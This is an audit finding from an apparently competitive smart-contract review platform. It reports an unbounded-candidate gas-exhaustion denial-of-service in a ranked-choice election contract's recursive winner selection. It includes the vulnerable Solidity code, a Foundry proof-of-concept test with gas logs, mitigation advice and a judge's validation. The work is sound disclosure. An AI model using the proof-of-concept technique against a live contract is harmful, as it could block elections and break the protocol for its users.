President Elector
First Flight #24
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unbounded Candidate List in RankedChoice::_selectPresidentRecursive May Cause Gas Exhaustion and Enable DoS Attack

phylax

Description

In the RankedChoice::selectWinner the RankedChoice::_selectPresidentRecursive, which is recursive, is called to tally up the votes and eliminate the candidate with fewest votes. Since there are no limits to the number of candidates that can be voted on, this function when called can become very gas costly making it susceptible to a denial of service (DoS) attack if maliciuos voters vote on different candidates to make the s_candidateList array as large as possible.

Even if there is no maliciuos voters the protocol could not handle large scaling of candidates because calling RankedChoice::selectWinner would become to expensive.

Code

function selectPresident() external {
// code as written
@> address[] memory winnerList = _selectPresidentRecursive(s_candidateList, 0);
// code as written
function _selectPresidentRecursive(address[] memory candidateList, uint256 roundNumber)
internal
returns (address[] memory)
{
if (candidateList.length == 1) {
return candidateList;
}
​
for (uint256 i = 0; i < VOTERS.length; i++) {
for (uint256 j = 0; j < s_rankings[VOTERS[i]][s_voteNumber].length; j++) {
address candidate = s_rankings[VOTERS[i]][s_voteNumber][j];
if (_isInArray(candidateList, candidate)) {
s_candidateVotesByRound[candidate][s_voteNumber][roundNumber] += 1;
break;
} else {
continue;
}
}
}
​
// Remove the lowest candidate or break
address fewestVotesCandidate = candidateList[0];
uint256 fewestVotes = s_candidateVotesByRound[fewestVotesCandidate][s_voteNumber][roundNumber];
​
for (uint256 i = 1; i < candidateList.length; i++) {
uint256 votes = s_candidateVotesByRound[candidateList[i]][s_voteNumber][roundNumber];
if (votes < fewestVotes) {
fewestVotes = votes;
fewestVotesCandidate = candidateList[i];
}
}
​
address[] memory newCandidateList = new address[]();
​
bool passedCandidate = false;
for (uint256 i; i < candidateList.length; i++) {
if (passedCandidate) {
newCandidateList[i - 1] = candidateList[i];
} else if (candidateList[i] == fewestVotesCandidate) {
passedCandidate = true;
} else {
newCandidateList[i] = candidateList[i];
}
}
​
@> return _selectPresidentRecursive(newCandidateList, roundNumber + 1);
}

Impact

If the RankedChoice::s_candidateList array becomes to large the RankedChoice::selectWinner will be very gas costly to call. When calling RankedChoice::selectWinner function the transaction could run out of gas or even make it to costly to call when the s_candidateList.length becomes to long. This could make it hard to select a president and start a new election breaking the protocol.

Tools used

Manual code review

Proof of Concept

  1. In the code below we first have an election where 10 voters vote on the identical ordered candidates.

  2. Then there is a new election where we have 10 voters vote on 3 different candidates where not a single candidate is the same.

Add this code to the test suit:

function testDenialOfService() public {
// Simulate 10 voters, each voting for the same 3 candidates
orderedCandidates = [candidates[0], candidates[1], candidates[2]];
uint256 startingIndex = 0;
uint256 endingIndex = 10;
for (uint256 i = startingIndex; i < endingIndex; i++) {
vm.prank(voters[i]); // Simulate the voter
rankedChoice.rankCandidates(orderedCandidates); // Each voter submits their ranked candidates
}
​
vm.warp(block.timestamp + rankedChoice.getDuration());
​
// Measure gas used for selecting the president
uint256 gasBefore = gasleft();
rankedChoice.selectPresident(); // Call to finalize the voting process
uint256 gasAfter = gasleft();
​
uint256 gasUsed = gasBefore - gasAfter;
​
// Log the gas used
console.log("Gas used: ", gasUsed);
​
// Simulate 10 voters voting for 3 different candidates
uint256 numVotes = 10;
uint256 numCandidatesPerVoter = 3;
// Moving the block timestamp forward to start a new voting period
vm.warp(block.timestamp + rankedChoice.getDuration());
​
for (uint256 i = 0; i < numVotes; i++) {
// Generate 3 unique candidate addresses for each voter
for (uint256 j = 0; j < numCandidatesPerVoter; j++) {
orderedCandidates[j] = address(uint160(i * numCandidatesPerVoter + j + 1)); // Unique candidate addresses
}
​
vm.prank(voters[i]); // Simulate the voter
rankedChoice.rankCandidates(orderedCandidates); // Each voter submits their unique ranked candidates
}
​
// Move the block timestamp forward to simulate the end of the voting period
vm.warp(block.timestamp + rankedChoice.getDuration());
​
// Measure gas usage for selecting the president
uint256 gasBeforeDoS = gasleft();
rankedChoice.selectPresident(); // Call to finalize the voting process
uint256 gasAfterDoS = gasleft();
​
uint256 gasUsedDoS = gasBeforeDoS - gasAfterDoS;
​
// Log the gas used
console.log("Gas used: ", gasUsedDoS);
​
assert(gasUsedDoS > gasUsed);
}

When running this test you can clearly see that the last election uses much more gas then the former.

Logs:
Gas used: 719417
Gas used: 10949183

Recommendations

There are few ways to mitigate this vulnerability:

  1. Batch Processing or Iterative Elimination

One of the main reasons for DoS attacks due to high gas consumption is that the selectWinner function might be trying to eliminate all candidates in a single transaction, especially in a recursive function. To avoid this, you can break down the winner selection process into smaller, more manageable steps using batch processing or by converting the process into an iterative loop instead of recursion.

  1. Offloading Vote Tallying to Off-Chain Solutions

Another advanced solution is to offload the vote tallying and candidate elimination process to an off-chain solution, which would then submit the final result to the contract on-chain. This approach is often called hybrid on-chain/off-chain computation.

  1. Commit-Reveal Scheme for Vote Elimination

You could implement a commit-reveal scheme where candidates or third parties submit votes in phases. For example:

  • Commit Phase: Votes or candidate eliminations are “committed” by hashing the vote data and submitting it on-chain. No one can see the actual vote data yet.

  • Reveal Phase: After a certain time, the hash is revealed, and the candidate with the fewest votes can be eliminated. By allowing the elimination to happen in phases, you avoid large, gas-heavy computations in a single transaction.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

A high number of candidates could cause an OOG

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.